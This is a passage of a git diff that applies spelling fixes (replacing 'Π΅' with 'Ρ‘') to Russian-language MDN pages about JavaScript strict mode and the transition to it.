прСдоставляСт доступ ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° Π² срСдС "бСзопасного" JavaScript. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ <code>this</code> Π½Π΅ упаковываСтся Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π° Ссли нС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Ρ‚ΠΎΡ‡Π½ΠΎ, <code>this</code> являСтся <code>undefined</code>:</p>
@@ -304,7 +304,7 @@ function fun(static) { 'use strict'; } // !!!
</pre>
-<p>Π”Π²Π° замСчания, спСцифичных для Mozilla: ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ссли ваш ΠΊΠΎΠ΄ создан Π½Π° JavaScript 1.7 ΠΈΠ»ΠΈ Π²Ρ‹ΡˆΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, chrome code, ΠΈΠ»ΠΈ Ρ‚Π΅Π³ <code>&lt;script type=""&gt;</code> Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ), ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ строгий Ρ€Π΅ΠΆΠΈΠΌ, Ρ‚ΠΎ <code>let</code> ΠΈ <code>yield</code> ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Ρƒ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, которая Ρƒ Π½ΠΈΡ… Π±Ρ‹Π»Π° ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ появились. Однако Π² Π²Π΅Π±, Π² строгом ΠΊΠΎΠ΄Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΌ Ρ‡Π΅Ρ€Π΅Π· <code>&lt;script src=""&gt;</code> ΠΈΠ»ΠΈ <code>&lt;script&gt;...&lt;/script&gt;</code>, нСльзя Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>let</code>/<code>yield</code> Π² качСствС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ². Π’Ρ‚ΠΎΡ€ΠΎΠ΅, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ES5 Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π» слова <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> ΠΈ <code>super</code> для любого Ρ€Π΅ΠΆΠΈΠΌΠ°, Π² Firefox 5 Mozilla ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π½ΡŒΡˆΠ΅ ΠΈ лишь для строгого Ρ€Π΅ΠΆΠΈΠΌΠ°.</p>
+<p>Π”Π²Π° замСчания, спСцифичных для Mozilla: ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ссли ваш ΠΊΠΎΠ΄ создан Π½Π° JavaScript 1.7 ΠΈΠ»ΠΈ Π²Ρ‹ΡˆΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, chrome code, ΠΈΠ»ΠΈ Ρ‚Π΅Π³ <code>&lt;script type=""&gt;</code> Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ), ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ строгий Ρ€Π΅ΠΆΠΈΠΌ, Ρ‚ΠΎ <code>let</code> ΠΈ <code>yield</code> ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Ρƒ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, которая Ρƒ Π½ΠΈΡ… Π±Ρ‹Π»Π° ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ появились. Однако Π² Π²Π΅Π±, Π² строгом ΠΊΠΎΠ΄Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΌ Ρ‡Π΅Ρ€Π΅Π· <code>&lt;script src=""&gt;</code> ΠΈΠ»ΠΈ <code>&lt;script&gt;...&lt;/script&gt;</code>, нСльзя Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>let</code>/<code>yield</code> Π² качСствС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ². Π’Ρ‚ΠΎΡ€ΠΎΠ΅, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ES5 Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π» слова <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> ΠΈ <code>super</code> для любого Ρ€Π΅ΠΆΠΈΠΌΠ°, Π² Firefox 5 Mozilla ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π½ΡŒΡˆΠ΅ ΠΈ лишь для строгого Ρ€Π΅ΠΆΠΈΠΌΠ°.</p>
<p>Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ запрСщаСтся объявлСниС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π³Π»ΡƒΠ±ΠΆΠ΅ самого Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня скрипта ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</a>. Π’ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, объявлСниС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»Π΅Π½ΠΎ "Π²Π΅Π·Π΄Π΅", <em>Ρ‡Ρ‚ΠΎ Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ ES5 (ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ES3!)</em> Π­Ρ‚ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π΅ ΠΎΠ±Ρ‰Π΅Π³ΠΎ совмСстимого ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π°. Π•ΡΡ‚ΡŒ Π½Π°Π΄Π΅ΠΆΠ΄Π°, Ρ‡Ρ‚ΠΎ Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… рСдакциях ECMAScript Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° новая сСмантика для объявлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²Π½Π΅ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня скрипта ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. <a class="external" href="http://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Π—Π°ΠΏΡ€Π΅Ρ‚ Π½Π° объявлСниС Ρ‚Π°ΠΊΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅</a> ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ "зачистку" для спСцификации Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ Ρ€Π΅Π»ΠΈΠ·Π΅ ECMAScript:</p>
@@ -326,7 +326,7 @@ function baz() { // Π²Π΅Ρ€Π½ΠΎ
<h2 id="Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ_Ρ€Π΅ΠΆΠΈΠΌ_Π²_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…">Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…</h2>
-<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² настоящСС врСмя строгий Ρ€Π΅ΠΆΠΈΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½. Однако Π½Π΅ стоит Π²ΠΏΠ°Π΄Π°Ρ‚ΡŒ Π² ΡΠ»Π΅ΠΏΡƒΡŽ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΡ‚ Π½Π΅Π³ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сущСствуСт мноТСство <a class="external external-icon" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">ВСрсий Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… строгий Ρ€Π΅ΠΆΠΈΠΌ лишь частично</a> ΠΈΠ»ΠΈ вовсС Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠ½Ρ‹ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Internet Explorer Π½ΠΈΠΆΠ΅ вСрсии 10!). <em>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ измСняСт сСмантику.</em> НадСТда Π½Π° эти измСнСния ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкам ΠΈ ΠΏΠΎΠ³Ρ€Π΅ΡˆΠ½ΠΎΡΡ‚ΡΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… строгий Ρ€Π΅ΠΆΠΈΠΌ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½. ΠŸΡ€ΠΎΡΠ²Π»ΡΠΉΡ‚Π΅ ΠΎΡΡ‚ΠΎΡ€ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ использовании строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, ΠΈ подкрСпляйтС Π½Π°Π΄Π΅ΠΆΠ½ΠΎΡΡ‚ΡŒ строгого Ρ€Π΅ΠΆΠΈΠΌΠ° тСстами особСнностСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, насколько Π²Π΅Ρ€Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π΅Π³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹. НаконСц, ΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ <em>Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свой ΠΊΠΎΠ΄ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠ°ΠΊ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…, Ρ‚Π°ΠΊ ΠΈ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… строгий Ρ€Π΅ΠΆΠΈΠΌ</em>. Если Π²Ρ‹ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅ тСстированиС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚Π΅Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ строгий Ρ€Π΅ΠΆΠΈΠΌ, Ρ‚ΠΎ Π²ΠΏΠΎΠ»Π½Π΅ вСроятно Ρƒ вас появятся ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</p>
+<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² настоящСС врСмя строгий Ρ€Π΅ΠΆΠΈΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½. Однако Π½Π΅ стоит Π²ΠΏΠ°Π΄Π°Ρ‚ΡŒ Π² ΡΠ»Π΅ΠΏΡƒΡŽ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΡ‚ Π½Π΅Π³ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сущСствуСт мноТСство <a class="external external-icon" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">ВСрсий Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… строгий Ρ€Π΅ΠΆΠΈΠΌ лишь частично</a> ΠΈΠ»ΠΈ вовсС Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠ½Ρ‹ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Internet Explorer Π½ΠΈΠΆΠ΅ вСрсии 10!). <em>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ измСняСт сСмантику.</em> НадСТда Π½Π° эти измСнСния ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкам ΠΈ ΠΏΠΎΠ³Ρ€Π΅ΡˆΠ½ΠΎΡΡ‚ΡΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… строгий Ρ€Π΅ΠΆΠΈΠΌ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½. ΠŸΡ€ΠΎΡΠ²Π»ΡΠΉΡ‚Π΅ ΠΎΡΡ‚ΠΎΡ€ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ использовании строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, ΠΈ подкрСпляйтС Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΡΡ‚ΡŒ строгого Ρ€Π΅ΠΆΠΈΠΌΠ° тСстами особСнностСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, насколько Π²Π΅Ρ€Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π΅Π³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹. НаконСц, ΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ <em>Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свой ΠΊΠΎΠ΄ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠ°ΠΊ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…, Ρ‚Π°ΠΊ ΠΈ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… строгий Ρ€Π΅ΠΆΠΈΠΌ</em>. Если Π²Ρ‹ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅ тСстированиС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚Π΅Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ строгий Ρ€Π΅ΠΆΠΈΠΌ, Ρ‚ΠΎ Π²ΠΏΠΎΠ»Π½Π΅ вСроятно Ρƒ вас появятся ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
index 5447834c4b..4c4b882462 100644
--- a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
+++ b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mod
---
<div>{{jsSidebar("More")}}</div>
-<p>Π’ ECMAScript 5 Π²Π²Π΅Π΄Π΅Π½ {{jsxref('Strict_mode', 'строгий Ρ€Π΅ΠΆΠΈΠΌ')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π²ΠΎ всСх основных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ IE10). Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΊΠΎΠ΄Π° Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ дСлаСтся ΠΎΡ‡Π΅Π½ΡŒ просто (достаточно Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ <code>"use strict";</code> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части вашСго исходного ΠΊΠΎΠ΄Π°), для Π°Π΄Π°ΠΏΡ‚Π°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π° ΠΊ строгому Ρ€Π΅ΠΆΠΈΠΌΡƒ потрСбуСтся Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС Ρ€Π°Π±ΠΎΡ‚Ρ‹.</p>
+<p>Π’ ECMAScript 5 Π²Π²Π΅Π΄Ρ‘Π½ {{jsxref('Strict_mode', 'строгий Ρ€Π΅ΠΆΠΈΠΌ')}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π²ΠΎ всСх основных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ IE10). Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΊΠΎΠ΄Π° Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ дСлаСтся ΠΎΡ‡Π΅Π½ΡŒ просто (достаточно Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ <code>"use strict";</code> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части вашСго исходного ΠΊΠΎΠ΄Π°), для Π°Π΄Π°ΠΏΡ‚Π°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π° ΠΊ строгому Ρ€Π΅ΠΆΠΈΠΌΡƒ потрСбуСтся Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС Ρ€Π°Π±ΠΎΡ‚Ρ‹.</p>
<p>ЦСль этой ΡΡ‚Π°Ρ‚ΡŒΠΈ: ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² руководство ΠΏΠΎ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρƒ ΠΊ строгому Ρ€Π΅ΠΆΠΈΠΌΡƒ.</p>
@@ -105,15 +105,15 @@ s.opacity = 1;
<h4 id="this_Π²_Π²Ρ‹Π·ΠΎΠ²Π°Ρ…_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ"><code>this</code> Π² Π²Ρ‹Π·ΠΎΠ²Π°Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h4>
-<p>Π’ функциях ΠΊΠ°ΠΊ <code>f()</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>this</code> являСтся Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΎΠ½ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π°Π²Π΅Π½ <code>undefined</code>. Когда функция Π²Ρ‹Π·Ρ‹Π²Π°Π»Π°ΡΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code> ΠΈΠ»ΠΈ <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ², ΠΎΠ½ упаковывался Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (ΠΈΠ»ΠΈ Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для <code>undefined</code> ΠΈ <code>null</code>). Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пСрСдаСтся Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ Π·Π°ΠΌΠ΅Π½.</p>
+<p>Π’ функциях ΠΊΠ°ΠΊ <code>f()</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>this</code> являСтся Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΎΠ½ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π°Π²Π΅Π½ <code>undefined</code>. Когда функция Π²Ρ‹Π·Ρ‹Π²Π°Π»Π°ΡΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code> ΠΈΠ»ΠΈ <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ², ΠΎΠ½ упаковывался Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (ΠΈΠ»ΠΈ Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для <code>undefined</code> ΠΈ <code>null</code>). Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пСрСдаётся Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ Π·Π°ΠΌΠ΅Π½.</p>
<h4 id="arguments_Π½Π΅_являСтся_псСвдонимом_ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…_Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ"><code>arguments</code> Π½Π΅ являСтся псСвдонимом ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h4>
